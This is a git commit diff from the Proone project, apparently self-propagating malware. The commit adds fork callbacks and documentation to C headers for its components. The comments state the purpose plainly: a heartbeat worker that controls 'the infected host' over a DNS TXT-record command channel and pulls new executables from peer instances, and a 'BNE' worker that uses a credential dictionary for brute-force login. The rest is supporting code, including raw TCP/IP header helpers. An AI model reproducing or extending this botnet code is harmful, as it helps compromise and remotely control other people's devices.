aboutsummaryrefslogtreecommitdiff
path: root/src
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2021-11-06 19:07:41 +0800
committerDavid Timber <mieabby@gmail.com>2021-11-06 19:07:41 +0800
commitd19a792e58eba8f13d9c7a0160cc5f1402e7f117 (patch)
tree20a6fab9a3600e15220b4211f6567141326ad590 /src
parent7829a29ee65e21b8a234670f9edba31a9a432853 (diff)
Add more callbacks for fork() event, doc progress
* Add fork.prepare(), fork.parent() and fork.child() to match with pthread_atfork(), which makes more sense * Code documentation progress
Diffstat (limited to 'src')
-rw-r--r--src/bne.h12
-rwxr-xr-xsrc/build-utils.sh1
-rw-r--r--src/endian.h74
-rw-r--r--src/htbt.c17
-rw-r--r--src/htbt.h154
-rw-r--r--src/imap.h62
-rw-r--r--src/inet.h73
-rw-r--r--src/iobuf.h89
-rw-r--r--src/proone-htbthost.c4
-rw-r--r--src/proone.c4
10 files changed, 454 insertions, 36 deletions
diff --git a/src/bne.h b/src/bne.h
index ef73bb1..7436920 100644
--- a/src/bne.h
+++ b/src/bne.h
@@ -86,7 +86,9 @@ typedef enum prne_bne_vector prne_bne_vector_t;
/**
* \brief The BNE worker parameter object
- * \note The referenced objects must be valid until the worker is freed.
+ * \warning The referenced objects must be valid until the worker is freed.
+ * \see \c prne_init_bne_param()
+ * \see \c prne_free_bne_param()
*/
struct prne_bne_param {
// The cred dict to use for brute force login (optional)
@@ -339,11 +341,11 @@ const char *prne_bne_vector_tostr (const prne_bne_vector_t v);
/**
* \brief Allocate and start an instance of the BNE worker
- * \param w A pointer to the pth worker object.
+ * \param w The pointer to the pth worker object.
* \param ctr_drbg An instance of CTR DRBG for initialising internal PRNGs.
- * \param param A pointer to the BNE worker parameter object.
- * \return A pointer to the new instance of the BNE worker. A null pointer
- * on error.
+ * \param param The pointer to the BNE worker parameter object.
+ * \return The pointer to the new instance of the BNE worker.
+ * \retval NULL on error with \c errno set.
* \note The worker keeps its own copy of \p param. The memory used for \p param
* can be freed after the function returns.
* \note The thread can be controlled with \p w. The interruption of the worker,
diff --git a/src/build-utils.sh b/src/build-utils.sh
index 22b5208..98700e8 100755
--- a/src/build-utils.sh
+++ b/src/build-utils.sh
@@ -107,6 +107,7 @@ cmd_append-uint16 () {
printf "\\x$a\\x$b" >> "$2"
}
+# Invoke subcommand
SELF="$0"
cmd="$1"
shift 1
diff --git a/src/endian.h b/src/endian.h
index 11712b5..0b3e8af 100644
--- a/src/endian.h
+++ b/src/endian.h
@@ -1,3 +1,14 @@
+/** \file
+ * \brief Proone's own <endian.h>. Proone does not use <endian.h> present on
+ * many platforms simply because the header is not a standard. Proone does not
+ * use the traditional byte swap approach to solve the endianness problem for
+ * data communication so that all arches have the same disadvantage when
+ * communicating with other hosts.
+ * \note The functions in the internet protocol headers are used if present to
+ * avoid confusion.
+ * \see BYTEORDER(3)
+ * \see <arpa/inet.h>
+ */
/*
* Copyright (c) 2019-2021 David Timber <mieabby@gmail.com>
*
@@ -20,23 +31,43 @@
* SOFTWARE.
*/
#pragma once
-/**********************************************************************
-* Endianess Independent Byte Extraction
-***********************************************************************/
-/* prne_getmsbN(x, n)
-*
-* Extract nth most significant byte of x.
-*/
+
+/** \def prne_getmsb \def prne_getmsb64 \def prne_getmsb32 \def prne_getmsb16
+ * \brief Extract \p n th most significant byte of \p x
+ * \param[in] x The integer
+ * \param[in] n The byte place, in range of [0, 1] if \p x is 16-bit integer,
+ * [0, 3] if \p x is 32-bit integer, [0, 7] if \p x is 64-bit integer.
+ * \param[in] w The data type to use in calculation. One of uint_fastN_t
+ * variants.
+ * \param[in] s The number of bits to shift by.
+ * \return The 8-bit integer extracted from the \p n th place of \p x in range
+ * [0, 255].
+ * \see \c prne_recmb_msb64()
+ * \see \c prne_recmb_msb32()
+ * \see \c prne_recmb_msb16()
+ */
#define prne_getmsb(x, n, w, s)\
(uint8_t)(((w)(x) & (w)0xFF << (s - 8 * (n))) >> (s - 8 * (n)))
#define prne_getmsb64(x, n) prne_getmsb((x), (n), uint_fast64_t, 56)
#define prne_getmsb32(x, n) prne_getmsb((x), (n), uint_fast32_t, 24)
#define prne_getmsb16(x, n) prne_getmsb((x), (n), uint_fast16_t, 8)
-/* prne_recmb_msbN(...)
-*
-* Recombine bytes in big-endian order to uintN.
-*/
+/** \def prne_recmb_msb64 \def prne_recmb_msb32 \def prne_recmb_msb16
+ * \brief Recombine bytes in big-endian order.
+ * \param a The first byte.
+ * \param b The second byte.
+ * \param c The third byte.
+ * \param d The fourth byte.
+ * \param e The fifth byte.
+ * \param f The sixth byte.
+ * \param g The seventh byte.
+ * \param h The eighth byte.
+ * \return The recombined integer in the host's endian.
+ * \see \c prne_getmsb()
+ * \see \c prne_getmsb64()
+ * \see \c prne_getmsb32()
+ * \see \c prne_getmsb16()
+ */
#define prne_recmb_msb64(a, b, c, d, e, f, g, h) (\
((uint_fast64_t)(a) << 56) |\
((uint_fast64_t)(b) << 48) |\
@@ -60,9 +91,18 @@
/* Machine Characteristics
*/
+/** \def PRNE_ENDIAN_LITTLE \def PRNE_ENDIAN_BIG
+ * \brief The values that can be matched against \c PRNE_HOST_ENDIAN
+ * \note The PDP endian is not defined because the ELF does not support it.
+ */
#define PRNE_ENDIAN_LITTLE 1
#define PRNE_ENDIAN_BIG 2
+/** \def PRNE_HOST_ENDIAN
+ * \brief The host endian.
+ * \see \c PRNE_ENDIAN_LITTLE
+ * \see \c PRNE_ENDIAN_BIG
+ */
#ifdef __GNUC__
#if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__
#define PRNE_HOST_ENDIAN PRNE_ENDIAN_BIG
@@ -72,11 +112,23 @@
#error "FIXME!"
#endif
#else
+ // Expand this to support compilers other than GCC
#error "FIXME!"
#endif
+/**
+ * \brief Swap bytes to invert the endianness of the 16-bit integer.
+ * \param x The integer.
+ * \returns The integer with its bytes swapped.
+ */
#define prne_einv16(x) (((0xFF00 & x) >> 8) | ((0x00FF & x) << 8))
+/** \def prne_htobe16 \def prne_be16toh \def prne_htole16 \def prne_le16toh
+ * \brief Convert the endianness of the integer.
+ * \param x The integer.
+ * \return The integer converted.
+ * \note Use the functions in <arpa/inet.h> where appropriate!
+ */
#if PRNE_HOST_ENDIAN == PRNE_ENDIAN_BIG
#define prne_htobe16(x) (x)
#define prne_be16toh(x) (x)
diff --git a/src/htbt.c b/src/htbt.c
index ff42108..4eb2a05 100644
--- a/src/htbt.c
+++ b/src/htbt.c
@@ -1285,10 +1285,20 @@ static bool htbt_do_cmd (
cin[1] = cout[0] = cerr[0] = -1;
}
+ if (ctx->cbset->fork.prepare != NULL &&
+ !ctx->cbset->fork.prepare(ctx->cb_ctx))
+ {
+ ret_status = PRNE_HTBT_STATUS_ERRNO;
+ ret_err = errno;
+ goto END;
+ }
+
to_kill = child = pth_fork();
if (child == 0) {
do { // TRY
- if (ctx->cbset->fork != NULL && !ctx->cbset->fork(ctx->cb_ctx)) {
+ if (ctx->cbset->fork.child != NULL &&
+ !ctx->cbset->fork.child(ctx->cb_ctx))
+ {
break;
}
@@ -1326,7 +1336,10 @@ static bool htbt_do_cmd (
write(errp[1], &ret_err, sizeof(int32_t));
raise(SIGKILL);
}
- else if (child < 0) {
+ else if (child < 0 ||
+ (ctx->cbset->fork.parent != NULL &&
+ !ctx->cbset->fork.parent(ctx->cb_ctx)))
+ {
ret_status = PRNE_HTBT_STATUS_ERRNO;
ret_err = errno;
goto END;
diff --git a/src/htbt.h b/src/htbt.h
index 800c713..9dc20a8 100644
--- a/src/htbt.h
+++ b/src/htbt.h
@@ -1,3 +1,9 @@
+/** \file
+ * \brief The heartbeat worker.
+ * \note The heartbeat worker is a service that provides a means of controlling
+ * the infected host using the protocol of the same name. Two internal threads
+ * are launched to serve LBD and TXT REC CNC.
+ */
/*
* Copyright (c) 2019-2021 David Timber <mieabby@gmail.com>
*
@@ -28,10 +34,13 @@
#include <mbedtls/ssl.h>
+// The heartbeat worker handle (opaque)
struct prne_htbt;
+/* Alias declarations */
typedef struct prne_htbt prne_htbt_t;
typedef struct prne_htbt_param prne_htbt_param_t;
typedef struct prne_htbt_cbset prne_htbt_cbset_t;
+
typedef bool(*prne_htbt_cnc_txtrec_ft)(void *ctx, char *out);
typedef bool(*prne_htbt_hostinfo_ft)(void *ctx, prne_htbt_host_info_t *out);
typedef int(*prne_htbt_tmpfile_ft)(
@@ -46,28 +55,169 @@ typedef bool(*prne_htbt_bin_ft)(
const prne_htbt_cmd_t *cmd);
typedef bool(*prne_htbt_fork_ft)(void *ctx);
+/**
+ * \brief The heartbeat callback set object.
+ */
struct prne_htbt_cbset {
- // All callback functions are optional.
+ /**
+ * \brief CNC TXT REC name callback (optional)
+ * \param ctx \c cb_ctx
+ * \param[out] out The pointer to the 256-elements-long array. The maximum
+ * possible length of the name of the CNC TXT REC is 255 characters. The
+ * string must be null-terminated.
+ * \retval true if the contents of \p out are successfully set.
+ * \retval false otherwise. \c errno may be used to indicate the error
+ * occurred during the process.
+ */
prne_htbt_cnc_txtrec_ft cnc_txtrec;
+ /**
+ * \brief Hostinfo request callback (optional)
+ * \param ctx \c cb_ctx
+ * \param[out] out The pointer to the initialised hostinfo object. The user
+ * implementation has to provide all the information available via this
+ * object.
+ * \retval true if the members of \p out are successfully set.
+ * \retval false otherwise. \c errno may be used to indicate the error
+ * occurred during the process.
+ */
prne_htbt_hostinfo_ft hostinfo;
+ /**
+ * \brief Create temporary file request callback (optional)
+ * \param ctx \c cb_ctx
+ * \param flags \c open() flags.
+ * \param mode \c open() mode.
+ * \param req_size The initial size of the temporary file.
+ * \param path (optional)null-terminated string, the path to the
+ * temporary file created. If used, the memory must be freeable with
+ * \c prne_free()
+ * \return An open and valid file descriptor upon successful creation of
+ * temporary file.
+ * \retval A negative integer with \c errno set to an appropriate value.
+ *
+ * \note
+ * This is the callback function that the worker uses to create
+ * temporary files. The user implementation should determine the path of
+ * the new temporary file using its own resources. The file should be
+ * grown to \p req_size using syscalls like \c fallocate(). The file may
+ * contain "holes". Any \c errno resulted during the process must be
+ * preserved when the function has returned so that the worker can
+ * respectively return the error in the \c prne_bne_result_t object.
+ * A temporary file is created to download a new version of executable.
+ */
prne_htbt_tmpfile_ft tmpfile;
+ /**
+ * \brief Binary upgrade event callback (optional)
+ * \param ctx \c cb_ctx
+ * \param path The path to the new executable.
+ * \param cmd The command line arguments without the first element,
+ * which is the path to the executable.
+ * \retval True if the new executable is accepted and no error has
+ * occurred during the process.
+ * \retval False otherwise with \c errno set to explain why the
+ * executable has not been accepted.
+ *
+ * \note
+ * This function is called by the worker upon the successful download of
+ * a new version of executable from another instance. The mode of the
+ * file at \p path is set so that it is executable. \p cmd is the
+ * command line options to be used when launching the executable. Note
+ * that an array for \c exec() should be composed as the first element
+ * of \p cmd is not \p path.
+ */
prne_htbt_bin_ft upbin;
- prne_htbt_fork_ft fork;
+ struct {
+ /**
+ * \brief Fork prepare event callback (optional)
+ * \param ctx \c cb_ctx
+ * \retval true if preparation for fork() has been successful.
+ * \retval false otherwise with \c errno set to an appropriate value.
+ * \note This is the equivalent of the "prepare" argument to
+ * \c pthread_atfork()
+ * \see PTHREAD_ATFORK(3)
+ */
+ prne_htbt_fork_ft prepare;
+ /**
+ * \brief Fork parent event callback (optional)
+ * \param ctx \c cb_ctx
+ * \retval true if the set up process for the parent process has been
+ * successful.
+ * \retval false otherwise with \c errno set to an appropriate value.
+ * \note This is the equivalent of the "parent" argument to
+ * \c pthread_atfork()
+ * \see PTHREAD_ATFORK(3)
+ */
+ prne_htbt_fork_ft parent;
+ /**
+ * \brief Fork child event callback (optional)
+ * \param ctx \c cb_ctx
+ * \retval true if the set up process for the child process has been
+ * successful.
+ * \retval false otherwise with \c errno set to an appropriate value.
+ * \note This is the equivalent of the "child" argument to
+ * \c pthread_atfork()
+ * \see PTHREAD_ATFORK(3)
+ */
+ prne_htbt_fork_ft child;
+ } fork;
};
+/**
+ * \brief The heartbeat worker parameter object.
+ * \warning The referenced objects must be valid until the worker is freed.
+ * \note All of the members are required.
+ * \see \c prne_htbt_init_param()
+ * \see \c prne_htbt_free_param()
+ */
struct prne_htbt_param {
+ // The TLS config object for the LBD port
mbedtls_ssl_config *lbd_ssl_conf;
+ // The TLS config for the "main" internal thread
mbedtls_ssl_config *main_ssl_conf;
+ // The CTR_DRBG object for jitters and protocol message ids
mbedtls_ctr_drbg_context *ctr_drbg;
+ // The resolv worker for CNCP
prne_resolv_t *resolv;
+ // The callback function set
prne_htbt_cbset_t cb_f;
+ // The callback context
void *cb_ctx;
+ // The binary recombination parameter object
const prne_rcb_param_t *rcb;
+ /**
+ * \brief The "blackhole" file descriptor.
+ * \note
+ * To maintain the internal IO abstration layer, a file descriptor that's
+ * always writeable(POLLOUT) is required. The purpose of the file descriptor
+ * is to make \c poll() return immediately. No data is actually written to
+ * the file descriptor.
+ * \note Either the null device or a file descriptor pair of a anonymous
+ * pipe can be used.
+ */
int blackhole;
};
+/**
+ * \brief Allocate and start the heartbeat worker.
+ * \param w The pointer to the pth worker object.
+ * \param param The pointer to the heartbeat worker parameter object.
+ * \return The pointer to the instantiated heartbeat worker.
+ * \retval NULL on error with \c errno set.
+ * \note The worker keeps its own copy of \p param. The memory used for \p param
+ * can be freed after the function returns.
+ * \note The thread can be controlled with \p w.
+ */
prne_htbt_t *prne_alloc_htbt (prne_worker_t *w, const prne_htbt_param_t *param);
+/**
+ * \brief Initialise the heartbeat worker parameter object
+ * \note Initialises the members of \p p to initial values. Prepares \p p so
+ * that it can be freed using \c prne_htbt_free_param()
+ */
void prne_htbt_init_param (prne_htbt_param_t *p);
+/**
+ * \brief Free the resources allocated for the heartbeat worker parameter object
+ * \param p The pointer to the object that has been initialised using
+ * \c prne_htbt_init_param()
+ */
void prne_htbt_free_param (prne_htbt_param_t *p);
diff --git a/src/imap.h b/src/imap.h
index ea0cabe..3c44267 100644
--- a/src/imap.h
+++ b/src/imap.h
@@ -1,3 +1,8 @@
+/** \file
+ * \brief The integer map implementation.
+ * \note The integer map implementation is usually used to map pointer to
+ * pointer. This is the C version of \c std::map<uintptr_t,uintptr_t>
+ */
/*
* Copyright (c) 2019-2021 David Timber <mieabby@gmail.com>
*
@@ -25,33 +30,78 @@
#include <stdint.h>
+/* Forward and alias declarations */
struct prne_imap;
struct prne_imap_tuple;
-typedef uintptr_t prne_imap_key_type_t;
-typedef uintptr_t prne_imap_val_type_t;
+typedef uintptr_t prne_imap_key_type_t; // The key data type
+typedef uintptr_t prne_imap_val_type_t; // The value data type
typedef struct prne_imap prne_imap_t;
typedef struct prne_imap_tuple prne_imap_tuple_t;
-struct prne_imap {
+struct prne_imap { // The integer map object
+ // The table array kept in ascending order
prne_imap_tuple_t *tbl;
+ // The number of elements in the table
size_t size;
};
-struct prne_imap_tuple {
- prne_imap_key_type_t key;
- prne_imap_val_type_t val;
+struct prne_imap_tuple { // The tuple object
+ prne_imap_key_type_t key; // Key
+ prne_imap_val_type_t val; // Value
};
+/**
+ * \brief Initialise the integer map object.
+ * \param im The pointer to the integer map object.
+ * \note \p im can be freed using \c prne_free_imap() once initialised.
+ * \see \c prne_free_imap()
+ */
void prne_init_imap (prne_imap_t *im);
+/**
+ * \brief Free resources allocated for the integer map object.
+ * \param im The pointer to the integer map object.
+ * \see \c prne_init_imap()
+ */
void prne_free_imap (prne_imap_t *im);
+/**
+ * \brief Clear the elements of the integer map object.
+ * \param im The pointer to the integer map object.
+ * \warning The function call may have the exact same effect as
+ * \c prne_free_imap() but \c prne_free_imap() must always be used.
+ */
void prne_imap_clear (prne_imap_t *im);
+/**
+ * \brief Insert a tuple into the integer map object.
+ * \param im The pointer to the integer map object.
+ * \param key The key of the new tuple.
+ * \param val The value of the new tuple.
+ * \return The pointer to the new tuple allocated in the map. The pointer is
+ * valid as long as the map object remains unmodified.
+ * \note Calling the function invalidates the pointers previously returned by
+ * other functions.
+ */
const prne_imap_tuple_t *prne_imap_insert (
prne_imap_t *im,
const prne_imap_key_type_t key,
const prne_imap_val_type_t val);
+/**
+ * \brief Erase the tuple with the \p key from the integer map object.
+ * \param im The pointer to the integer map object.
+ * \param key The key of the tuple to erase.
+ * \note Calling the function invalidates the pointers previously returned by
+ * other functions.
+ */
void prne_imap_erase (prne_imap_t *im, const prne_imap_key_type_t key);
+/**
+ * \brief Look up the tuple with \p key in the integer map object.
+ * \param im The pointer to the integer map object.
+ * \param key The key to look for.
+ * \return The pointer to the tuple in the map. The pointer is valid as long as
+ * the map object remains unmodified.
+ * \retval NULL if the tuple with \p key is not found.
+ */
const prne_imap_tuple_t *prne_imap_lookup (
prne_imap_t *im,
const prne_imap_key_type_t key);
diff --git a/src/inet.h b/src/inet.h
index 3b30e18..0f6e30b 100644
--- a/src/inet.h
+++ b/src/inet.h
@@ -1,3 +1,8 @@
+/** \file
+ * \brief The utility functions for the internet protocol.
+ * \note The header includes functions which are required when using raw TCP/IP
+ * sockets.
+ */
/*
* Copyright (c) 2019-2021 David Timber <mieabby@gmail.com>
*
@@ -27,10 +32,21 @@
#include "protocol.h"
-// Workaround for header issues in uClibc
+/* Alias declarations */
typedef struct prne_iphdr4 prne_iphdr4_t;
typedef struct prne_iphdr6 prne_iphdr6_t;
+/** \struct prne_iphdr4 \struct prne_iphdr6
+ * \brief The workaround for the issues in uClibc headers.
+ * \note At the time of writing the code, the IPv6 support of uClibc was not
+ * complete and there were some problems using the IP headers provided by
+ * uClibc. These structures are exactly the same as the counterparts in the
+ * standard IP headers.
+ * \note The values must be in the host byte order. Unlike the standard
+ * functions, the serialisation and deserialisation functions are responsible
+ * for byte order conversion.
+ */
+
struct prne_iphdr4 {
uint8_t saddr[4];
uint8_t daddr[4];
@@ -50,13 +66,45 @@ struct prne_iphdr6 {
uint8_t hop_limit;
};
+/**
+ * \brief Set bits to represent the CIDR
+ * \param out The byte array used to represent the netmask.
+ * \param cidr The CIDR value.
+ * \note The number of elements modified is calculated by dividing \p cidr by 8.
+ * For example, if the \p cidr is passed as 24, only the first 3 elements of
+ * \p out are modified to set the first 24 bits.
+ * \warning The behaviour is undefined if \p cidr divided by 8 is larger than
+ * the size of \p out (buffer overflow).
+ */
void prne_netmask_from_cidr (uint8_t *out, size_t cidr);
+/**
+ * \brief Calculate the checksum of the IPv4 TCP packet.
+ * \param ih The pointer to the IPv4 header structure.
+ * \param th The pointer to the TCP header data.
+ * \param th_len The byte length of the TCP header data.
+ * \param data The pointer to the payload data.
+ * \param data_len The byte length of the payload data.
+ * \return The calculated checksum value in the host byte order. The value must
+ * be converted to the network byte order.
+ */
uint16_t prne_calc_tcp_chksum4 (
const prne_iphdr4_t *ih,
const uint8_t *th,
size_t th_len,
const uint8_t *data,
size_t data_len);
+/**
+ * \brief Calculate the checksum of the IPv6 TCP packet.
+ * \param ih The pointer to the IPv6 header structure.
+ * \param th The pointer to the TCP header data.
+ * \param th_len The byte length of the TCP header data.
+ * \param data The pointer to the payload data.
+ * \param data_len The byte length of the payload data.
+ * \return The calculated checksum value in the host byte order. The value must
+ * be converted to the network byte order.
+ * \note The same algorithm(the function) can be used to calculate the checksum
+ * values of ICMP packets.
+ */
uint16_t prne_calc_tcp_chksum6 (
const prne_iphdr6_t *ih,
const uint8_t *th,
@@ -64,8 +112,29 @@ uint16_t prne_calc_tcp_chksum6 (
const uint8_t *data,
size_t data_len);
+/**
+ * \brief Serialise the IPv4 header structure for transmission.
+ * \param mem The destination buffer. The length of the buffer must be at least
+ * 20 bytes.
+ * \param in The pointer to the IPv4 header structure.
+ */
void prne_ser_iphdr4 (uint8_t *mem, const prne_iphdr4_t *in);
+/**
+ * \brief Serialise the IPv6 header structure for transmission.
+ * \param mem The destination buffer. The length of the buffer must be at least
+ * 40 bytes.
+ * \param in The pointer to the IPv6 header structure.
+ */
void prne_ser_iphdr6 (uint8_t *mem, const prne_iphdr6_t *in);
-
+/**
+ * \brief Deserialise the IPv4 header from the binary data.
+ * \param data The binary data. The length must be at least 20 bytes.
+ * \param out The pointer to the IPv4 header structure.
+ */
void prne_dser_iphdr4 (const uint8_t *data, prne_iphdr4_t *out);
+/**
+ * \brief Deserialise the IPv6 header from the binary data.
+ * \param data The binary data. The length must be at least 40 bytes.
+ * \param out The pointer to the IPv6 header structure.
+ */
void prne_dser_iphdr6 (const uint8_t *data, prne_iphdr6_t *out);
diff --git a/src/iobuf.h b/src/iobuf.h
index 7d6233e..9446274 100644
--- a/src/iobuf.h
+++ b/src/iobuf.h
@@ -1,3 +1,9 @@
+/** \file
+ * \brief The IO buffer implementation.
+ * \note The IO buffer is a FIFO byte array object with some extra convenience
+ * functions. The IO buffer is similar to the C++ counterpart,
+ * \c std::vector<uint8_t>
+ */
/*
* Copyright (c) 2019-2021 David Timber <mieabby@gmail.com>
*
@@ -27,26 +33,101 @@
#include <sys/types.h>
+/* Alias declarations */
typedef struct prne_iobuf prne_iobuf_t;
+// The IO buffer object.
struct prne_iobuf {
- uint8_t *m;
- size_t size;
- size_t avail;
- size_t len;
+ uint8_t *m; // The buffer
+ size_t size; // The size of buffer
+ size_t avail; // The length of the buffer available (size - len)
+ size_t len; // The length of the contents
+ /* The ownership status of the buffer.
+ * True if the object is responsible for freeing the allocated memory for
+ * the buffer. False otherwise.
+ */
bool ownership;
};
+/**
+ * \brief Initialise the IO buffer object.
+ * \param ib The pointer to the IO buffer object.
+ * \note \p ib can be freed using \c prne_free_iobuf() once initialised.
+ * \see \c prne_free_iobuf()
+ */
void prne_init_iobuf (prne_iobuf_t *ib);
+/**
+ * \brief Free resources allocated for the IO buffer object.
+ * \param ib The pointer to the IO buffer object.
+ * \see \c prne_init_iobuf()
+ */
void prne_free_iobuf (prne_iobuf_t *ib);
+/**
+ * \brief Allocate memory to set the size of the buffer.
+ * \param ib The pointer to the IO buffer object.
+ * \param ny_size The new byte size of the buffer.
+ * \retval true if allocation has been successful.
+ * \retval false otherwise with \c errno set.
+ */
bool prne_alloc_iobuf (prne_iobuf_t *ib, const size_t ny_size);
+/**
+ * \brief Try allocating memory for the buffer using the sizes specified in the
+ * array.
+ * \param ib The pointer to the IO buffer object.
+ * \param ny_size The pointer to the array of new sizes of the buffer.
+ * \retval true if the size of the buffer has been successfully set to one of
+ * the sizes in \p ny_size.
+ * \retval false otherwise with \c errno set.
+ * \note The sizes are tried from the first element of \p ny_size. Usually,
+ * you'd want to set the elements of the array in the descending order so the
+ * largest size is tried first which is optimal in most cases.
+ */
bool prne_try_alloc_iobuf (prne_iobuf_t *ib, const size_t *ny_size);
+/**
+ * \brief Set up the IO buffer object to use the external buffer, relieving the
+ * IO buffer object's responsibility of freeing the buffer.
+ * \param ib The pointer to the IO buffer object.
+ * \param m The pointer to the external buffer.
+ * \param size The size of the external buffer.
+ * \param len The initial length of the contents in the external buffer.
+ * This is usually zero unless there are contents in the external buffer to be
+ * used.
+ * \note The function is useful when the use of static type of memory such as
+ * .bss or stack is desired. Any dynamic resource previously allocated is
+* freed.
+ */
void prne_iobuf_setextbuf (
prne_iobuf_t *ib,
uint8_t *m,
const size_t size,
const size_t len);
+/**
+ * \brief Reset the buffer state - Set \c len to zero and \c avail to the size
+ * of the buffer.
+ * \param ib The pointer to the io buffer object.
+ * \note Use this function to discard the contents of the buffer. The contents
+ * of the buffer will remain untouched. You may want to use
+ * \c prne_iobuf_zero() to scrub the data off memory.
+ * \see \c prne_iobuf_zero()
+ */
void prne_iobuf_reset (prne_iobuf_t *ib);
+/**
+ * \brief Zero-fill the entire buffer - \c memset() convenience function.
+ * \param ib The pointer to the IO buffer object.
+ * \note This is the equivalent of calling \c memset() and
+ * \c prne_iobuf_reset().
+ */
void prne_iobuf_zero (prne_iobuf_t *ib);
+/**
+ * \brief Shift the contents of the buffer - \c memmove() convenience function.
+ * \param ib The pointer to the IO buffer object.
+ * \param amount The number of bytes to shift. A positive value simply increases
+ * \c len and decreases \c avail. A negative value causes the function to call
+ * \c memmove() to discard the amount of data specified, increasing \c avail
+ * and decreasing \c len
+ * \warning When shifting the contents of the buffer to the left, depending on
+ * the behaviour of \c memmove(), the contents of the buffer on the right may
+ * remain intact on memory. Do not use IO buffer to store sensitive data.
+ */
void prne_iobuf_shift (prne_iobuf_t *ib, const ssize_t amount);
diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c
index d0aa865..9ab8fae 100644
--- a/src/proone-htbthost.c
+++ b/src/proone-htbthost.c
@@ -165,7 +165,7 @@ static bool cb_upbin (
return pth_raise(main_pth, SIGTERM) != 0;
}
-static bool cb_fork (void *ctx) {
+static bool cb_fork_child (void *ctx) {
sigset_t ss;
sigfillset(&ss);
@@ -551,7 +551,7 @@ int main (const int argc, const char **args) {
param.cb_f.hostinfo = cb_hostinfo;
param.cb_f.tmpfile = mktmpfile;
param.cb_f.upbin = cb_upbin;
- param.cb_f.fork = cb_fork;
+ param.cb_f.fork.child = cb_fork_child;
param.blackhole = open("/dev/null", O_WRONLY);
w = wkr_arr + 1;
diff --git a/src/proone.c b/src/proone.c
index b81a91d..dae5fad 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -252,7 +252,7 @@ static bool cb_upbin (
return true;
}
-static bool cb_fork (void *ctx) {
+static bool cb_fork_child (void *ctx) {
sigset_t ss;
sigfillset(&ss);
@@ -282,7 +282,7 @@ static void alloc_htbt (void) {
param.cb_f.hostinfo = cb_htbt_hostinfo;
param.cb_f.tmpfile = cb_tmpfile;
param.cb_f.upbin = cb_upbin;
- param.cb_f.fork = cb_fork;
+ param.cb_f.fork.child = cb_fork_child;
param.rcb = &prne_g.rcb_param;
param.blackhole = prne_g.blackhole[1];